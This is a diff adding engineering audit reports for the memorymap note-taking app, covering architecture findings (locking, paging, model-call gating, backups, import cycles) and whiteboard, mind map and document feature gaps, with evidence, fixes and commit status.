+  `vegetable patch` 0, `gardn` 0. The vocabulary typo fix lives only in the
+  older `search_manager` path.
+- Impact: the finder and palette, which B3 was meant to unify, are
+  keyword-only; "three signals" overstates recall.
+- Fix (M): union FTS candidates with the matrix's top-k for the query vector
+  when embeddings are ready; port the vocab correction into `_keyword_pass`.
+
+**ARCH-08. I7's filing consumer is claimed built and not wired (WRONGLY
+CLOSED)** FIXED f7aa175
+- Evidence: `learning.centroid_excluded` (`learning.py:361`) and
+  `learning.filing_evidence` (`:392`, 50 lines) have no caller in `src/`;
+  `janitor.py` never imports `learning`. Only the model prompt gets corrections
+  (`librarian.corrections_note`). WORLD_CLASS_PLAN I7 state line: "the loop is
+  built (... the centroid exclusion ...)".
+- Impact: with no model running (centroid and kNN file everything), re-filing
+  by hand teaches nothing; the spec test passes because it calls the function
+  directly.
+- Fix (S): apply `centroid_excluded` in `_best_centroid_match` and
+  `_knn_match`; a route-level test (two refiles away from X, then a save with
+  no model is not filed to X).
+
+**ARCH-09. Model calls have no shared gate; filing waits behind captions
+(NEW)** FIXED 535ae2e
+- Evidence: `core/jobs.py` lane `model` is width 1 and carries `caption`,
+  `vision`, `vision-pdf` and `file-entry`; 20 other call sites call the
+  provider directly (chat, `/chat/followups`, greeting, category and title
+  naming, graph labels, reminder parser, night and agent passes).
+- Impact: a local runner serves one request at a time, so a chat turn queues
+  behind a vision page or a night-pass call with no feedback; a deferred
+  filing (embedding and lexical work when no model runs) waits behind every
+  queued caption: an import of 200 pictures leaves new notes "pending".
+- Fix (M): one process-wide model gate with interactive priority (background
+  yields between calls); `file-entry` on its own lane.
+
+**ARCH-10. Import cycles are hidden from the lint, not removed (NEW)** PARTLY FIXED 535ae2e (ratchet lint at 15 and 3; cycles not cut)
+- Evidence: 46 `importlib.import_module("memorymap...")` calls, commented as
+  the way around the lint: "`importlib`, not an `import` statement: naming it
+  here closes `core.database -> search.index -> core.database`"
+  (`database.py:1941-1953`; also `embeddings.py:200`, `engine.py:1299`,
+  `manager.py:1706`). `tests/test_no_import_cycles.py` counts statements and
+  reports 0. With `import_module` edges (`cycles.py`): 3 cycle groups, the
+  largest **15 modules** (`core.deps`, `core.events`, `core.extras`,
+  `core.ocr`, `entry.manager`, `search.engine`, `search.search_manager`,
+  `search.chunks`, `ai.embeddings`, `ai.provider`, `ai.ollama_client`,
+  `ai.openai_client`, `ai.model_manager`, `ai.facts`, `ai.learning`); plus
+  306 function-level imports.
+- Impact: no real layering; load order and test doubles break at runtime.
+- Fix (M): count `import_module("memorymap.` edges in the lint, ratchet the
+  largest group down, invert edges with registries (as
+  `jobstore.set_forget` does).
+
+### Medium
+
+**ARCH-11. Whole-notebook loads on routine endpoints (NEW)** PARTLY FIXED 38debe1 (`/suggestions`; pairs capped per note in 535ae2e) / FIXED 7449811, ea24997 (reference-counts 1,112 to 214 ms, /timeline 132 to 100 ms and half the bytes, /duplicates about 160 s to 4 to 7 s and the whole text no longer sent, /entries/link-suggestions warm 1.08 s to 371 ms; /library 209 to 188 ms; backlinks 6 ms already)
+- 5,000 notes, p50/p95: `/suggestions` **1,234 / 2,377 ms** returning an
+  empty list: `routes_inbox._visible` loads every note as a full ORM object to
+  test membership (py-spy: 27% in that comprehension). `/library` 703 / 1,112
+  ms. `/timeline` 528 / 974 ms, 336 KB. `/insights/stats` 313 ms in 3
+  statements. `/entries/{id}/backlinks` 271 ms (LIKE scan of every note).
+  `/entries/reference-counts` (60 ids) 645 ms in-process, 1,060 ms at boot.
+- `/entries/link-suggestions` with embeddings ready did not finish in several
+  minutes in-process (stuck in `relations.recognise`): `cached_similar_pairs`
+  has no cap, and on this synthetic text 90% of pairs pass the 0.55 threshold
+  (median bge cosine 0.885). A real notebook is more varied; nothing bounds
+  the output. `/duplicates` took **86.7 s and returned 8.2 MB** (one call, live server;
+  PPJoin's prefix filter degenerates on a small vocabulary, and the response
+  is uncapped). Both with that caveat.
+- Fix (S each): ids-only `_visible`; top-k per note in `similar_pairs`.
+
+**ARCH-12. 422 has its own error shape and echoes input (NEW)** FIXED 73fcd97
+- No `RequestValidationError` handler. Measured: `POST /entries
+  {"tags":"x"}` gives `{"detail":[{type, loc, msg, input}]}`, no `code`;
+  `POST /auth/unlock {"password":["hunter2-secret"]}` echoes the password.
+  `test_core_message_wording.py` and `test_server_detail_wording.py` read
+  `HTTPException` literals only, so they cannot see it.
+- Fix (S): one handler returning `{"detail", "code": "invalid", "fields"}`,
+  never `input`.
+
+**ARCH-13. The API contract is mostly untyped (KNOWN B7, larger than
+stated)** / PART 4460c21 (the list lint keyed on what a route returns; typed responses and one paging helper not done)
+- 403 routes: 259 return a bare `dict`, 33 have no annotation or model.
+  Creates disagree: `POST /entries` 201; `/entries/{id}/links`, `/spaces`,
+  `/whiteboard/nodes`, `/whiteboard/sketches` 200. DELETE: 30 answer 200 with
+  a body, 2 answer 204. Paging params: `limit` 36, `offset` 18, `page` 6,
+  `cursor` 1 (`/timeline` has an unused `_encode_cursor`,
+  `routes_timeline.py:79`). `test_list_endpoints_page.py` keys on the name
+  `list_*`, so it misses `/graph` (2.4 MB), `/suggestions`,
+  `/entries/link-suggestions`, `/documents/outline`, `/entries/query`.
+- Fix (M): response models for the 20 busiest routes; one paging helper; the
+  lint keyed on "returns a list, or a dict holding one".
+
+**ARCH-14. `/graph` is 1.4 s and 2.4 MB at 5,000 notes (KNOWN H7, worse)** PARTLY FIXED 73fcd97, d5754d4 (encoded off the loop; warm 3.3-4.1 s to 0.7-1.0 s in process; the payload cache left, GRAPH_PLAN "Still open") / payload cache FIXED 26be6d7 (737 to 149 ms warm in process)
+- p50 1,444 ms, p95 3,508 ms in-process; 667 ms and 234 KB gzipped in the
+  browser. The plan recorded 600 ms. FastAPI serialises a sync route's dict on
+  the event loop thread (py-spy: `serialize_response` under gzip), so a big
+  payload stalls every other request while it encodes.
+- Fix: the fingerprint-keyed payload cache the plan names; build the JSON
+  bytes in the worker thread.
+
+**ARCH-15. Token budgeting assumes 4 characters per token (NEW, read)** FIXED 535ae2e
+- `ai/context.py:40` `CHARS_PER_TOKEN = 4` sets every share, and `num_ctx`
+  comes from the same window. CJK text is about 1 char per token, code about
+  3. A CJK notebook overfills the window up to 4x; Ollama then truncates from
+  the front, dropping the system prompt and grounding rule first.
+- Fix (S): per-script estimate (CJK code points count 1); shrink the next
+  turn when the backend's `prompt_eval_count` exceeds the plan.
+
+**ARCH-16. A second model call after every answer, always on (NEW)** PARTLY FIXED 535ae2e (skipped while a turn streams; no preference)
+- `capture-ask.js:2220`, `chat-attach.js:2744` call `/chat/followups` after
+  each answer; no preference gates it. With one slot, the next question waits.
+- Fix (S): off by default on CPU-only machines (the hardware probe exists), or
+  emit follow-ups from the answer stream.
+
+**ARCH-17. Connect timeout is 600 s, no connection reuse (NEW, read)** FIXED 535ae2e
+- `ollama_client.py:153`, `openai_client.py:117`: one float, which `requests`
+  applies to connect too; each call opens a new connection.
+- Impact: a LAN model host that is off and drops packets hangs a chat turn,
+  a filing job or a night-pass step for ten minutes each.
+- Fix (S): `timeout=(5, 600)` and one `requests.Session` per client.
+
+**ARCH-18. `/export/backup` is not a backup (NEW)** FIXED 73fcd97
+- `routes_settings.py:1993-2021` zips the live WAL-mode file with
+  `zf.write` (no WAL, no backup API) and `media/` but not `uploads/`.
+  Measured: 3 notes saved, zip taken: **5,000 entries in the zip, 5,003
+  live, 0 of 3 probes**; `integrity_check` ok, so silent. Nothing in the UI
+  calls it (only a test), which is why this is Medium. The daily backups
+  (`core/backup.py`) are database-only: attachments, media and preferences are
+  in no automatic backup (read).
+- Fix (S): build the zip from `backup.backup_now`, add `uploads/`, or delete
+  the route.
+
+**ARCH-19. Startup does maintenance before the port opens (NEW)** FIXED 73fcd97
+- `create_app` runs the bin purge, event-log compaction and the daily backup
+  synchronously (`app.py:791-821`), after `create_all`, column and index
+  checks, the FTS check and Alembic (`database.py:1920-1934`). Measured: 4.45 s
+  from launch to first byte at 5,000 notes; `create_app` 1.4 to 5.5 s
+  in-process. The day's first launch copies the whole database before
+  serving.
+- Fix (S): enqueue purge, compaction and backup after startup.
+
+**ARCH-20. Lexical filing reads private notes' ciphertext (NEW)** FIXED f7aa175
+- `lexical_filing.suggest_tags` and `_tally` have no `is_private` filter
+  (`lexical_filing.py:186`); `janitor._knn_match` has one (`janitor.py:347`).
+  Ciphertext tokens enter every save's TF-IDF, and private notes' tags vote.
+- Fix (S): add the filter.
+
+### Low
+
+**ARCH-21. Test scaffolding ships in production modules (NEW)** FIXED bc0e0a9 (drivers, run_for_test, filing_prompt_for_test to tests/; _encode_cursor deleted)
+- `core/events.py:858-1004` (`_drive_*`, `exercise_for_test`, 150 lines),
+  `skill_runner.run_for_test` (99), `librarian.filing_prompt_for_test`. 17
+  functions (306 lines) are referenced only from `tests/`; 2 are dead
+  (`routes_timeline._encode_cursor`, `engine.similar_to_vector`).
+
+**ARCH-22. Oversized functions after the A5 split (KNOWN section 16,
+regressed)** PART 3393d84 (_dispatch_call 455 to 302, create_app 354 to about 80, _stream_lines 334 to under 270, run_agent 443 to 416; _run_one_step 425 left)
+- `agent._dispatch_call` 448 lines, `run_agent` 439,
+  `skill_runner._run_one_step` 425, `create_app` 336,
+  `routes_chat._stream_lines` 334; 24 functions over 150 lines.
+
+**ARCH-23. Offline-queue idempotency is a racy in-memory dict (KNOWN INBOX
+434 for restarts; the race is NEW)** FIXED 73fcd97
+- `routes_entries.py:560-579`: check, create, remember; two concurrent resends
+  with one `client_key` both create. A unique `client_key` column fixes both.
+
+**ARCH-24. Library activity ignores the query and the space (NEW)** FIXED 73fcd97
+- `/library?q=zebracorn` in "personal" returned 200 activity rows from every
+  space (`_activity` takes no `q`; `audit_log` has no space).
+
+**ARCH-25. Small costs worth one line each (NEW)** PARTLY FIXED 73fcd97 (/changelog off the loop; pool and restore not done)
+- `/changelog` 132 ms p50 per call (parsed per request).
+- `QueuePool` 5 + 10 with a 30 s timeout; a chat stream holds its session's
+  connection for the whole stream (read).
+- `restore_backup` deletes `-wal`/`-shm` after `engine.dispose()`, which does
+  not close connections checked out by other threads (read, not reproduced).

+
+| Claim | Where | What is true |
+| --- | --- | --- |
+| "the loop is built (... the centroid exclusion ...)" | WORLD_CLASS_PLAN I7 | `centroid_excluded`, `filing_evidence` have no caller (ARCH-08). |
+| "One error shape (exists)" | WORLD_CLASS_PLAN B7 | 422 has another shape, no `code` (ARCH-12). |
+| "one index, three signals" | B3, HISTORY | cosine only re-ranks keyword hits; `/search` has no typo fix (ARCH-07). |
+| six composite indexes, "measured" | `database._INDEXES`, H7 pass | they serve one selected space; the default "All spaces" sorts (ARCH-05). |
+| "The three request pages of /entries at boot are the paging contract" | H7 | 26 pages, the whole notebook, at 5,000 notes (ARCH-04). |
+| no import cycles (`test_no_import_cycles.py`) | CLAUDE.md, comments | a 15-module cycle through `import_module` (ARCH-10). |
+| "every list takes a `limit`" | F2 state | only functions named `list_*` (ARCH-13). |
+| "the split is done (audit A5)" | section 16 | `_dispatch_call` is 448 lines (ARCH-22). |
+| "Both [Ollama and embedding] already run off the request thread" | ARCHITECTURE.md, "One process" | a non-deferred save and every edit embed on the request (ARCH-02). |
+
+## 5. Verified working
+
+- **Stream cancel**: a client dropping `/chat/stream` after 3 s stopped the
+  agent after the round in flight (fake server: 1 request; a connected client
+  ran 4 rounds, 5 requests).
+- **Concurrent saves**: 779 creates from 4 clients, 0 errors.
+- **Durable jobs**: resume skips live leases and gives up after
+  `MAX_ATTEMPTS` (read).
+- **Tool-call parsing**: `normalise_tool_calls` takes string or object
+  arguments, lenient JSON, and reports invalid arguments to the loop (read).
+- **A selected space**: list queries are index searches (ARCH-05's other half).

+
+## 7. Top 5 execution briefs
+
+### Brief A: no model call inside a write transaction (ARCH-01)
+- Goal: a save during a night pass, an entity pass or any background model
+  work returns 201 in under a second.
+- Files: `src/memorymap/ai/facts.py` (`run`, `_pair_passes`, `_narrow`,
+  `_judge`), `src/memorymap/ai/entities.py` (`extract_entities_pass`),
+  `src/memorymap/api/routes_night.py`, `src/memorymap/ai/autonomous.py:405`,
+  `src/memorymap/api/app.py` (error handler).
+- Steps: 1) test first: `tests/test_write_lock_during_passes.py` starts a
+  fake provider whose `chat` sleeps 2 s and runs `facts.run` on a thread, then
+  `POST /entries` must be 201 within 1 s (the `locktest.py` shape; use the
+  in-process fake, not a socket). 2) commit the `NightRun` row before the
+  loop; collect each note's candidates, call the model with no pending writes
+  (`session.commit()` or a read-only session), then add rows and commit per
+  note. 3) the same for `_pair_passes` and `extract_entities_pass`. 4) a
+  handler: `OperationalError` "database is locked" -> 503, code `busy`, a
+  plain sentence. 5) a static ratchet: no provider `.chat(` call between a
+  `session.add/flush` and the next `commit` in `ai/` (AST walk; allowlist
+  with reasons).
+- Acceptance: the new test; `tests/test_learned_spec.py`,
+  `tests/test_night_runs.py`, `tests/test_night_pairs.py`,
+  `tests/test_entities.py` green.
+- Risks: a run killed mid-way now leaves part of its facts (fine: facts are
+  keyed by fingerprint and the next run skips them); `NightRun.finished_at`
+  must be set in a `finally`.
+
+### Brief B: the save path is O(1) in the notebook (ARCH-02, ARCH-08, ARCH-20)
+- Goal: `POST /entries` p50 at 5,000 notes within 20% of p50 at 500; I7's
+  centroid exclusion actually applied.
+- Files: `src/memorymap/ai/lexical_filing.py` (`suggest_tags`, `_tally`),
+  `src/memorymap/ai/janitor.py` (`_best_centroid_match`, `_knn_match`,
+  `categorise`), `src/memorymap/ai/embeddings.py` (`embed_text`,
+  `store_for_entry`), `src/memorymap/api/routes_entries.py` (`create_entry`,
+  `update_entry`, `_keep_suggestions`), `src/memorymap/search/engine.py`
+  (matrix cache).
+- Steps: 1) a timing test at 200 and 2,000 notes (direct inserts, fake
+  embedder) asserting the ratio, plus a statement-count cap. 2) centroids from
+  the engine's matrix, cached per matrix version, minus
+  `learning.centroid_excluded` categories. 3) tag suggestions from the top-k
+  vector neighbours' tags (already ranked), falling back to an incremental
+  term->tag table only with no embedder; filter `is_private`. 4) embed once
+  per save: `categorise` returns the vector, `store_for_entry` accepts it.
+  5) `PUT` embeds through the deferred job unless the text is unchanged.
+- Acceptance: the timing test; `tests/test_janitor_knn.py`,
+  `tests/test_learned_spec.py`, `tests/test_lexical_filing.py`; a route test that
+  two refiles away from X keep a no-model save out of X.
+- Risks: tag suggestion quality changes; keep the old function for the
+  no-embedder path and compare on the fixture.
+
+### Brief C: spaces are honoured by search and served by indexes (ARCH-03, ARCH-05, ARCH-24)
+- Goal: no endpoint returns another space's rows; "All spaces" lists are index
+  scans.
+- Files: `src/memorymap/api/routes_search.py`, `src/memorymap/search/engine.py`
+  (`search`, `_candidates`, `_keyword_pass`), `src/memorymap/core/deps.py`
+  (`get_session`), `src/memorymap/core/database.py` (`_INDEXES`),
+  `src/memorymap/api/routes_library.py` (`_activity`).
+- Steps: 1) test: two spaces, one note each, every GET route that returns
+  notes called with each header; nothing crosses (start with `/search`,
+  `/library`, `/graph`, `/timeline`, `/entries/query`). 2) `/search` defaults
+  `space` from the session, "all" excludes `hidden_workspaces`. 3) indexes
+  without the `workspace_id` prefix for the live, bin, archive, documents,
+  reminders, conversations and media lists, plus `audit_log (action)` and
+  `audit_log (created_at DESC, id DESC)`; an EXPLAIN test per list under
+  both headers asserting no `TEMP B-TREE FOR ORDER BY`. 4) `_activity` selects
+  four columns and honours `q`.
+- Acceptance: the two new tests; `tests/test_spaces.py`,
+  `tests/test_search_engine_spec.py`.
+- Risks: write cost of 8 more indexes (measure a 1,000-note import before and
+  after).
+
+### Brief D: unlock does not download the notebook (ARCH-04, ARCH-13's paging)
+- Goal: unlock to settled under 1.5 s at 5,000 notes, at most 3 `/entries`
+  calls; memory flat in notebook size.
+- Files: `frontend/js/notes-list.js` (`loadEntries` loop at 3497, `allEntries`
+  readers), `src/memorymap/api/routes_entries.py` (`list_entries` paging),
+  `src/memorymap/entry/manager.py` (`list_entries`), every `allEntries`
+  consumer (`grep -n allEntries frontend/js/*.js`).
+- Steps: 1) inventory `allEntries` readers (sidebar counts, tag suggestions,
+  keyboard nav, search) and give each a server answer (counts exist:
+  `/entries/count`, `/categories`, `/tags`). 2) keyset cursor
+  `?after=<created_at,id>` with `next_cursor`. 3) the list virtualises and
+  fetches pages on scroll. 4) `scratchpad/ui-sweeps/boottime.js` before and
+  after on a 5,000-note dir.
+- Acceptance: boot sweep numbers in CHANGELOG; `tests/test_list_limits.py`,
+  `tests/test_list_paging_f2.py`; a new test that the boot path makes at most
+  3 `/entries` calls (sweep).
+- Risks: many features assume the whole notebook client-side; do it reader by
+  reader, one commit each (Opus, design judgement).
+
+### Brief E: one model gate, priorities, sane timeouts, no silent embedder loss (ARCH-06, ARCH-09, ARCH-16, ARCH-17)
+- Goal: an interactive model call never waits behind background work for more
+  than the call in flight; switching chat backend keeps semantic search.
+- Files: `src/memorymap/ai/provider.py`, `ollama_client.py`,
+  `openai_client.py`, `src/memorymap/core/jobs.py` (`KIND_LANES`),
+  `src/memorymap/core/deps.py` (`reload_llm_client`), `frontend/js/capture-ask.js`
+  and `chat-attach.js` (follow-ups).
+- Steps: 1) test: `reload_llm_client` with the built-in embedder keeps
+  `is_ready()` true. 2) a `ModelGate` (a condition with two queues) wrapped
+  around `chat`, `chat_stream`, `chat_tools_stream` by priority from a context
+  variable (`interactive` set in the chat routes; background by default).
+  3) `file-entry` to its own lane. 4) `timeout=(5, read)` and a
+  `requests.Session` per client. 5) follow-ups behind a preference, off when
+  the hardware probe says CPU-only.
+- Acceptance: a gate test with two fake slow calls; `tests/test_providers.py`,
+  `tests/test_jobs_pool.py`, `tests/test_jobstore.py`.
+- Risks: a gate that deadlocks a tool call which itself calls the model
+  (agent inside a skill): make it re-entrant per thread.
+
+## 8. What I could not verify
+
+- Real inference: every model number used the fake OpenAI server. ARCH-15's
+  overflow and ARCH-09's queueing on a real Ollama were reasoned, not seen.
+- `restore_backup` with background sessions open (ARCH-25): read only.
+- Absolute latencies: load 10 to 19 on 4 cores throughout.
+- Link suggestions and duplicates on 5,000 natural notes: the synthetic
+  vocabulary exaggerates both.
+- What the composer does with a 5 s 500 on save (ARCH-01): for the UX audit.
+- The plan's 2026-10-03 numbers (`reference-counts` 388 ms at 5,000) could
+  not be compared like for like; mine are 645 ms in-process and 1,060 ms at
+  boot under load.

+# Audit 2026-10-05: feature completeness (whiteboard, mind map, documents)
+
+Area: "features". Read-only on the code. Server: `:8835`, data `/tmp/mm-audit-features`.
+Head audited: `64ddf14`. Probes written to this session's scratchpad (not the repo):
+`wb1.js`, `map1.js`, `kb100.js`, `lat.js`, `lat2.js`, `fm.js`, `typeahead.js`,
+`doc1.js`, `doc2.js`, `md1.js`, `bg1.js`. Each number below comes from one of them
+or from a file:line.
+
+Scope widened twice by the owner (INBOX 558, "take everything from draw.io",
+"the ability to save custom elements"). Sections 5, 6, 8, 9 and 11 answer that.
+
+## 1. Summary: the five worst things
+
+1. **A FreeMind round trip loses the central topic** (FEAT-01). A one-root map
+   exported to `.mm` comes back with its root gone and its children as loose
+   roots. Every `.mm` from Freeplane or XMind arrives the same way. This breaks
+   MINDMAP_PLAN §12.0's "the exports round-trip". The test passes only because
+   it starts from an import that had already dropped the root.
+2. **Adding a topic is slow, and slower on bigger maps** (FEAT-02). From
+   Tab/Enter to an editable topic: 250 to 800ms at 6 topics, 520 to 1,640ms at
+   101, 870 to 2,000ms at 301. One Tab at 101 topics costs two full renders,
+   528ms and 304ms. Typing 100 topics by keyboard took 92s.
+3. **Footnotes print as raw markup** (FEAT-03). `[^1]` renders only in Live. In
+   Read, Print/PDF and the HTML export it shows as literal `[^1]` text, and
+   every exported comment shows as `[^c1]: remark`. Phase 5's "comments travel
+   as footnotes" is built on that broken render.
+4. **A board's look lives in the browser, not on the board** (FEAT-06). The
+   background colour is one localStorage key shared by every board. The
+   background image is a per-board localStorage key. Neither syncs, neither is
+   in backups, and the desktop window and a browser tab show different boards.
+   The image upload is also listed as an orphan (`used_by: []`), so "clean up
+   orphaned media" deletes it.
+5. **The board still lacks most of draw.io's core**: an object library, layers,
+   version history, elbow connectors, flowchart shapes and Mermaid in or out
+   (sections 4 and 5). On top of that, the z-order buttons labelled "Bring
+   forward" and "Send backward" jump to the very front or back (FEAT-07).
+
+Counts: High 3, Medium 10, Low 6 (19 findings).
+
+## 2. Findings, by severity
+
+### High
+
+**FEAT-01. FreeMind import drops the root topic, so a single-root map does not round-trip.** FIXED cc89dcb
+- Evidence:
+  - `fm.js` exports Root>{A>{A1}, B} as `<map><node TEXT="Root">…`.
+  - Re-imported, it comes back as roots `[A>{A1}, B]` and Root is gone.
+  - `kb100.js`, 101-topic map: Markdown 101/101 back, OPML 101/101, FreeMind 100 back with 11 parent edges lost.
+  - Cause: `_parse_freemind` (`routes_whiteboard.py:4263-4268`) takes a single top node as the board title.
+  - `_export_freemind`'s docstring (`:3856-3860`) promises that "a single-root map is written as itself, so the common case round-trips unchanged".
+  - `tests/test_mindmap.py:573` starts from an import that has already dropped its root, so it never tests a map made in the app.
+- Impact:
+  - Every `.mm` from Freeplane, XMind or FreeMind loses its central idea: the map arrives as N loose trunks.
+  - The app's own `.mm` backups lose the centre.
+- Severity: High. NEW. Claimed built (MINDMAP_PLAN §12.0, "FreeMind and OPML round-trip").
+- Fix (S):
+  - Import a single top `<node>` as the root topic, and take the board title from the file name or the root text.
+  - Replace `test_freemind_imports_with_its_root_as_the_maps_name` (it pins the wrong behaviour; flag to the owner as a decision change).
+  - Add a test: a map made in the app with one root survives export and import.
+
+**FEAT-02. Add-topic latency grows with the map. The whole map is re-rendered on every Tab.** FIXED 46a5fa0 (100ms gate not met here: median 224ms at 301 under load 9-14); second pass 1e361d5 (render per add 21-63ms against 122-421; key to editable median 177-276ms against 265-351 for the base on the same runs at load 7-10; the 100ms gate still not met here)
+- Evidence:
+  - `lat.js`, tree-right, time from key to `document.activeElement.wb-map-text`:
+
+    | Topics | Six adds (ms) |
+    | --- | --- |
+    | 6 | 665, 259, 542, 803, 249, 472 |
+    | 101 | 836, 982, 727, 521, 1642, 1549 |
+    | 301 | 1997, 1336, 1249, 1554, 944, 868 |
+
+  - `lat2.js` at 101 topics, one Tab: 1,461ms to editable. The server took POST 18ms and move-many 72ms. `renderWhiteboardNow` ran twice, at 528ms and 304ms.
+  - `kb100.js` (10 branches of 9, fast typist): 101 topics in 91.9s, editor latency median 604ms, p90 978ms.
+  - Type-ahead is buffered and nothing was lost (`typeahead.js`, 6/6 labels correct), so this is slowness, not data loss.
+- Impact: the map's core gesture lags. XMind and MindNode answer Tab in one frame, and the owner already called the map "slow" (INBOX 305).
+- Severity: High. NEW. MINDMAP_PLAN 13a-open claims "renderWhiteboard 47.8ms after one topic moves" at 500 topics. That holds for a move; the add path was never gated.
+- Fix (M):
+  - Profile the add path in `wbMapAddChild`/`wbMapAddSibling` (`whiteboard.js`) through the branch tidy.
+  - Paint the new topic optimistically before the POST.
+  - Run the branch tidy without a full `renderWhiteboard`, using the 13a-view culled join.
+  - Gate: key to editable at or under 100ms at 300 topics, in a new `mapaddlatency.js`.
+
+**FEAT-03. Markdown footnotes render only in Live. Read, Print/PDF and HTML export show them raw.** FIXED 7b5547e
+- Evidence:
+  - `md1.js`: `renderMarkdown(d, "Text[^1].\n\n[^1]: A footnote.")` gives `<p>Text[^1].</p><p>[^1]: A footnote.</p>`. `markdown.js` has no footnote handling at all.
+  - `doc2.js`: the render a print triggers (`docPrintComments = true`) reads `A claim[^1] and this phrase[^c1] here. … [^1]: The footnote text. [^c1]: check the source`.
+  - `exportDocumentHtml` clones `#doc-preview` (`documents.js:9580`), so the HTML export inherits the same text.
+  - The "/" menu offers "Footnote" (`editor.js`).
+  - HISTORY.md:27038 records footnotes as built in Live only.
+- Impact:
+  - A writer's footnotes, and every exported comment, print as markup.
+  - PDF is the main way a document leaves the app.
+- Severity: High. NEW. Claimed built (DOCUMENTS_PLAN §13 and Phase 5 item 1: "comments travel as footnotes, exactly as they do in the PDF export").
+- Fix (S/M):
+  - Add footnote rendering to `markdown.js`: references become `<sup><a>`, definitions are collected into an `<ol class="footnotes">` at the end, and back-links are included.
+  - Test the renderer in node (the `test_doc_math.py` pattern) and extend `doccomments.js` to assert no `[^` in the print render.
+
+### Medium
+
+**FEAT-04. Rich paste into a document loses all formatting, including link URLs.** FIXED ad14b76
+- Evidence:
+  - `doc1.js` pastes `text/html` `<h2>Pasted title</h2><p><b>bold</b> and a <a href=…/x>link</a></p><ul><li>item one</li></ul>`.
+  - The document receives the plain text `Pasted title\nbold and a link\nitem one`, and the URL is lost.
+  - The only HTML paste handler is for tables (`docTablePasteEvent`, `documents.js:4576-4614`).
+- Impact: copying from a web page, Word or Google Docs (the most common way text gets into a writing app) loses headings, emphasis, lists and links.
+- NEW. Fix (M):
+  - Convert sanitized HTML to Markdown on paste, through an allowlist walker over a `DOMParser` tree (h1-h6, p, b/strong, i/em, a[href] with safe schemes, ul/ol/li, blockquote, code/pre, img with `/media` or http src, table goes through the existing grid path).
+  - Shift+Ctrl+V keeps plain text.
+  - No library needed; tests in node.
+
+**FEAT-05. Imported and generated maps open in the Free layout, so keyboard adds pile up.** FIXED cc89dcb
+- Evidence:
+  - `import_board` passes `layout=DEFAULT_BOARD_LAYOUT` ("free") (`routes_whiteboard.py`, import route), while `createNewBoard` makes `tree-right` (`whiteboard.js:12048`).
+  - `kb100.js` on an imported map: 101 topics with **240 overlapping on-screen pairs**. The same run on tree-right: **0**.
+  - Imported topics are placed on a diagonal staircase (x 0/320/640, y 0/170/340; `fm.js`).
+- Impact: anyone who brings a map in (Markdown, OPML, FreeMind, or "make a map of these notes") gets an overlapping mess at the first Tab.
+- NEW. Fix (S):
+  - Import into `tree-right`, or into the layout named in the file's `_layout`.
+  - Run one tidy after import.
+  - Check whether `/boards/generate` and the AI's `create_mindmap` share the default.
+
+**FEAT-06. The board's background is stored per browser, not per board. Its image counts as an orphan.** FIXED 013375b
+- Evidence:
+  - `wb-bg-color` is one global key (`whiteboard.js:8952-8976`).
+  - The image is stored under `wb-bg-image-${boardId}` in localStorage (`:964-971`, `:9205`).
+  - The board row carries no background (`wb1.js`: keys id, title, counts, type, layout, previews).
+  - `bg1.js`: after setting a board image, `GET /media/orphans` lists it with `used_by: []`.
+  - `media_gc._referenced_filenames` scans objects, documents and entries only.
+  - HISTORY.md:33529 claims "per-board background".
+- Impact:
+  - Backgrounds vanish on another device, in the desktop window (its own webview profile), after a cache clear and in backups.
+  - The "clean up orphaned media" button deletes the file.
+- NEW. Fix (S):
+  - Store `background: {color, image}` in `board_settings` beside `type`, `layout` and `theme`.
+  - Migrate the localStorage values once on open.
+  - Have `media_gc` read board settings.
+  - Keep grid and snap as device preferences.
+
+**FEAT-07. "Bring forward" and "Send backward" go to the very front or back. No single-step z-order exists.** FIXED 93bbb62
+- Evidence:
+  - `wbSetZOrder` writes `max+1` or `min-1` (`whiteboard.js:4285-4288`).
+  - The Arrange menu says "Bring forward ]" and "Send backward [" (`index.html:5914-5915`), and the context bar uses the same words (`:6558-6559`). The right-click menu calls the same function "Bring to front" and "Send to back" (`whiteboard.js:5283-5284`).
+  - `wb1.js`: with A z1, B z2, C z3, one "Bring forward" on A gives `A:4 B:2 C:3`, so A went from bottom to top.
+- Impact:
+  - Three names for one action, and the step-wise action every competitor has is missing.
+  - In draw.io, Figma, Miro and PowerPoint, `]` / `[` mean one step, and Ctrl+Shift+F / Ctrl+Shift+B mean to front / to back.
+- NEW. Fix (S):
+  - Add `wbStepZOrder(dir)`, which swaps with the next overlapping peer.
+  - Map `]`/`[` to one step and Ctrl+]/Ctrl+[ to front and back, with four labelled items in Arrange and the right-click menu.
+  - Update the board help and the `wb-empty-hint` key list in the same commit (order 13).
+
+**FEAT-08. Mermaid fences render as code. BACKLOG 29c assumes they render.** FIXED ad14b76 (claim corrected), flowchart fences drawn FIXED a02d045 (own parser, no vendored Mermaid)
+- Evidence:
+  - `md1.js`: a ```mermaid fence renders as `<div class="code-block">…<code data-lang="mermaid">`.
+  - "Mermaid diagram" exists only as a language label (`documents-code.js`).
+  - BACKLOG 29c: "this app already renders Mermaid fences in note/doc markdown (grep `mermaid` in app.js)". It does not.
+- Impact: the Markdown world's diagram lingua franca (GitHub, Obsidian, Notion import) shows as code in notes and documents, and boards cannot take it in either.
+- NEW (corrects a BACKLOG assumption). Fix (M/L): see brief W5. Vendor mermaid (MIT, about 3 MB, lazy) or write a flowchart-subset parser into board objects. Recommend the parser, for the CSP and size reasons the math renderer gave (`documents.js:6362`).
+
+**FEAT-09. Pasting text onto a board or a map does nothing.** FIXED 595db03 (the map half: POST /boards/{id}/nodes/outline; the board half is the whiteboard agent's)
+
+**FEAT-09. Pasting text onto a board or a map does nothing.** FIXED 8320ea2 (the board; a map's outline paste is the mind map agent's)
+- Evidence:
+  - The canvas paste listener takes files only (`whiteboard.js:11485-11488`).
+  - There is no `navigator.clipboard` read (`:4829` comment).
+  - `wb1.js`: 3 items before a `- one\n- two\n- three` paste, 3 after.
+  - `map1.js`: 4 topics before pasting a nested list onto a selected topic, 4 after.
+- Impact:
+  - tldraw, Miro, FigJam and Excalidraw make a paste of text into a text item or sticky.
+  - XMind, MindNode and SimpleMind make an indented list into a branch.
+  - Here the clipboard from any other app is dead on both canvases.
+- NEW. Fix (S/M):
+  - On a map, `text/plain` with list or indent structure goes through `_parse_markdown_outline` as children of the selection, as one recorded gesture.
+  - On a board, one paragraph becomes a text box, several lines become a grid of stickies, and a URL becomes a link card.
+
+**FEAT-10. No board version history, though the data to rebuild one is already recorded.**
+- Evidence:
